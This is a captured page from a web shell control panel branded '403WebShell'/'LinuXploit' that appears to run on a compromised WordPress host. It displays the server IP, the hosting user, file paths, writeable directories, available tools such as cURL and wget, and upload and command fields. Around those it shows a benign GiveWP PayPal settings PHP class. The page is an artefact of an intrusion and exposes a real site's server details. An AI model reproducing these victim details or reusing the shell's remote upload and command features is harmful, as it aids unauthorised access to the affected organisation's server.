Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.15.142.42
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/PaymentGateways/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/PaymentGateways/PaypalSettingPage.php
<?php

namespace Give\PaymentGateways;

use Give\PaymentGateways\Gateways\PayPalStandard\PayPalStandard;
use Give\PaymentGateways\PayPalCommerce\AdminSettingFields;
use Give\PaymentGateways\PayPalCommerce\PayPalCommerce;

use function give_get_current_setting_section as getCurrentSettingSection;

/**
 * Class PaypalSettingSection
 * @package Give\PaymentGateways
 *
 * @sicne 2.9.0
 */
class PaypalSettingPage implements SettingPage
{
    /**
     * @var PayPalCommerce
     */
    private $payPalCommerce;

    /**
     * @var PayPalStandard
     */
    private $paypalStandard;

    /**
     * Register properties
     *
     * @since 2.9.0
     *
     * @param PayPalStandard $paypalStandard
     *
     * @param PayPalCommerce $payPalCommerce
     */
    public function __construct(PayPalCommerce $payPalCommerce, PayPalStandard $paypalStandard)
    {
        $this->payPalCommerce = $payPalCommerce;
        $this->paypalStandard = $paypalStandard;
    }

    /**
     * @inheritDoc
     */
    public function boot()
    {
        add_action('give_get_groups_paypal', [$this, 'getGroups']);
        add_filter('give_get_settings_gateways', [$this, 'registerPaypalSettings']);
        add_filter('give_get_sections_gateways', [$this, 'registerPaypalSettingSection'], 5);

        // Load custom setting fields.
        /* @var AdminSettingFields $adminSettingFields */
        $adminSettingFields = give(AdminSettingFields::class);
        $adminSettingFields->boot();
    }

    /**
     * @inheritDoc
     */
    public function getId()
    {
        return 'paypal';
    }

    /**
     * @inheritDoc
     */
    public function getName()
    {
        return esc_html__('PayPal', 'give');
    }

    /**
     * @inheritDoc
     */
    public function getSettings()
    {
        $settings[$this->payPalCommerce::id()] = $this->payPalCommerce->getOptions();
        $settings[$this->paypalStandard::id()] = $this->paypalStandard->getOptions();

        return $settings;
    }

    /**
     * Get groups.
     *
     * @since 2.9.0
     *
     * @return array
     */
    public function getGroups()
    {
        return [
            $this->payPalCommerce::id() => $this->payPalCommerce->getName(),
            $this->paypalStandard::id() => $this->paypalStandard->getName(),
        ];
    }

    /**
     * Register settings.
     *
     * @since 2.9.0
     *
     * @param array $settings
     *
     * @return array
     */
    public function registerPaypalSettings($settings)
    {
        $currentSection = getCurrentSettingSection();

        if ($currentSection === $this->getId()) {
            $settings = $this->getSettings();
        }

        return $settings;
    }

    /**
     * Register setting section.
     *
     * @since 2.9.0
     *
     * @param array $sections
     *
     * @return array
     */
    public function registerPaypalSettingSection($sections)
    {
        $sections[$this->getId()] = $this->getName();

        return $sections;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit